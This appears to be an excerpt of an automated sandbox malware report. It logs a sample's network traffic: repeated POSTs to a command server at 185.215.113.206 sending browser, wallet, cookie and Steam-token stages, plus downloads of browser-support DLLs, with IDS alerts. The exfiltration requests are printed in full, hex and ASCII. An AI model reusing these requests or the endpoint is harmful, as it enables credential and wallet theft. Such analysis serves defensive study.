Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGDBFBFCBFBKECAAKJKFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 38 30 38 39 33 32 30 32 38 61 64 31 62 62 37 63 36 39 35 61 62 32 31 32 64 32 66 36 35 32 38 33 33 32 65 39 30 62 62 33 61 62 64 64 66 61 61 32 39 62 33 63 37 62 66 35 37 63 62 63 62 35 34 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 44 42 46 42 46 43 42 46 42 4b 45 43 41 41 4b 4a 4b 46 2d 2d 0d 0a Data Ascii: ------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------DGDBFBFCBFBKECAAKJKFContent-Disposition: form-data; name="message"browsers------DGDBFBFCBFBKECAAKJKF--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAFHIIDHJEBFBFIDAKFBHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 38 30 38 39 33 32 30 32 38 61 64 31 62 62 37 63 36 39 35 61 62 32 31 32 64 32 66 36 35 32 38 33 33 32 65 39 30 62 62 33 61 62 64 64 66 61 61 32 39 62 33 63 37 62 66 35 37 63 62 63 62 35 34 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 41 41 46 48 49 49 44 48 4a 45 42 46 42 46 49 44 41 4b 46 42 2d 2d 0d 0a Data Ascii: ------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------AAFHIIDHJEBFBFIDAKFBContent-Disposition: form-data; name="message"plugins------AAFHIIDHJEBFBFIDAKFB--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCFHDAKECFIDGDGDBKJHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 38 30 38 39 33 32 30 32 38 61 64 31 62 62 37 63 36 39 35 61 62 32 31 32 64 32 66 36 35 32 38 33 33 32 65 39 30 62 62 33 61 62 64 64 66 61 61 32 39 62 33 63 37 62 66 35 37 63 62 63 62 35 34 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 48 44 41 4b 45 43 46 49 44 47 44 47 44 42 4b 4a 2d 2d 0d 0a Data Ascii: ------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------EGCFHDAKECFIDGDGDBKJContent-Disposition: form-data; name="message"fplugins------EGCFHDAKECFIDGDGDBKJ--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJKEHIIJJECFHJKECFHDHost: 185.215.113.206Content-Length: 7191Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIIIIJKFCAAECAKFIEHCHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 38 30 38 39 33 32 30 32 38 61 64 31 62 62 37 63 36 39 35 61 62 32 31 32 64 32 66 36 35 32 38 33 33 32 65 39 30 62 62 33 61 62 64 64 66 61 61 32 39 62 33 63 37 62 66 35 37 63 62 63 62 35 34 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 49 49 49 4a 4b 46 43 41 41 45 43 41 4b 46 49 45 48 43 2d 2d 0d 0a Data Ascii: ------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------FIIIIJKFCAAECAKFIEHCContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------FIIIIJKFCAAECAKFIEHC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJDAFBKFIECBGCAKECGHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 38 30 38 39 33 32 30 32 38 61 64 31 62 62 37 63 36 39 35 61 62 32 31 32 64 32 66 36 35 32 38 33 33 32 65 39 30 62 62 33 61 62 64 64 66 61 61 32 39 62 33 63 37 62 66 35 37 63 62 63 62 35 34 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 44 41 46 42 4b 46 49 45 43 42 47 43 41 4b 45 43 47 2d 2d 0d 0a Data Ascii: ------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIJDAFBKFIECBGCAKECGContent-Disposition: form-data; name="file"------GIJDAFBKFIECBGCAKECG--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCBGDGCAAKJEBFIDBAAAHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----ECBGCBGCAFIIECBFIDHIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 38 30 38 39 33 32 30 32 38 61 64 31 62 62 37 63 36 39 35 61 62 32 31 32 64 32 66 36 35 32 38 33 33 32 65 39 30 62 62 33 61 62 64 64 66 61 61 32 39 62 33 63 37 62 66 35 37 63 62 63 62 35 34 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 43 42 47 43 42 47 43 41 46 49 49 45 43 42 46 49 44 48 49 2d 2d 0d 0a Data Ascii: ------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECBGCBGCAFIIECBFIDHIContent-Disposition: form-data; name="file"------ECBGCBGCAFIIECBFIDHI--
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJDGCGDAAAKECAKKJDAHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJECBGIJDGCAEBFIIECAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 38 30 38 39 33 32 30 32 38 61 64 31 62 62 37 63 36 39 35 61 62 32 31 32 64 32 66 36 35 32 38 33 33 32 65 39 30 62 62 33 61 62 64 64 66 61 61 32 39 62 33 63 37 62 66 35 37 63 62 63 62 35 34 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 43 42 47 49 4a 44 47 43 41 45 42 46 49 49 45 43 41 2d 2d 0d 0a Data Ascii: ------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------IJECBGIJDGCAEBFIIECAContent-Disposition: form-data; name="message"wallets------IJECBGIJDGCAEBFIIECA--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AFIIEBGCAAECBGCBGCBKHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 46 49 49 45 42 47 43 41 41 45 43 42 47 43 42 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 38 30 38 39 33 32 30 32 38 61 64 31 62 62 37 63 36 39 35 61 62 32 31 32 64 32 66 36 35 32 38 33 33 32 65 39 30 62 62 33 61 62 64 64 66 61 61 32 39 62 33 63 37 62 66 35 37 63 62 63 62 35 34 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 45 42 47 43 41 41 45 43 42 47 43 42 47 43 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 46 49 49 45 42 47 43 41 41 45 43 42 47 43 42 47 43 42 4b 2d 2d 0d 0a Data Ascii: ------AFIIEBGCAAECBGCBGCBKContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------AFIIEBGCAAECBGCBGCBKContent-Disposition: form-data; name="message"files------AFIIEBGCAAECBGCBGCBK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKEGDGCGDAKEBFIJECHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 38 30 38 39 33 32 30 32 38 61 64 31 62 62 37 63 36 39 35 61 62 32 31 32 64 32 66 36 35 32 38 33 33 32 65 39 30 62 62 33 61 62 64 64 66 61 61 32 39 62 33 63 37 62 66 35 37 63 62 63 62 35 34 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 4b 45 47 44 47 43 47 44 41 4b 45 42 46 49 4a 45 43 2d 2d 0d 0a Data Ascii: ------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------CAKKEGDGCGDAKEBFIJECContent-Disposition: form-data; name="file"------CAKKEGDGCGDAKEBFIJEC--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDGDHJJDGHCAAAKEHIJKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 38 30 38 39 33 32 30 32 38 61 64 31 62 62 37 63 36 39 35 61 62 32 31 32 64 32 66 36 35 32 38 33 33 32 65 39 30 62 62 33 61 62 64 64 66 61 61 32 39 62 33 63 37 62 66 35 37 63 62 63 62 35 34 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 44 47 44 48 4a 4a 44 47 48 43 41 41 41 4b 45 48 49 4a 4b 2d 2d 0d 0a Data Ascii: ------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------GDGDHJJDGHCAAAKEHIJKContent-Disposition: form-data; name="message"ybncbhylepme------GDGDHJJDGHCAAAKEHIJK--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKEHIJJKEGIDHIEHDAFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 38 34 32 32 63 63 38 30 38 39 33 32 30 32 38 61 64 31 62 62 37 63 36 39 35 61 62 32 31 32 64 32 66 36 35 32 38 33 33 32 65 39 30 62 62 33 61 62 64 64 66 61 61 32 39 62 33 63 37 62 66 35 37 63 62 63 62 35 34 31 37 65 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 2d 2d 0d 0a Data Ascii: ------DAKEHIJJKEGIDHIEHDAFContent-Disposition: form-data; name="token"8422cc808932028ad1bb7c695ab212d2f6528332e90bb3abddfaa29b3c7bf57cbcb5417e------DAKEHIJJKEGIDHIEHDAFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DAKEHIJJKEGIDHIEHDAF--

Source: Joe Sandbox View	IP Address: 20.25.227.174 20.25.227.174
Source: Joe Sandbox View	IP Address: 152.195.19.97 152.195.19.97
Source: Joe Sandbox View	IP Address: 20.125.209.212 20.125.209.212
Source: Joe Sandbox View	IP Address: 162.159.61.3 162.159.61.3

Source: Joe Sandbox View

JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49853 -> 185.215.113.206:80

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00785000 GetProcessHeap,RtlAllocateHeap,InternetOpenA,InternetOpenUrlA,InternetReadFile,memcpy,InternetCloseHandle,InternetCloseHandle,

0_2_00785000

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlaHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
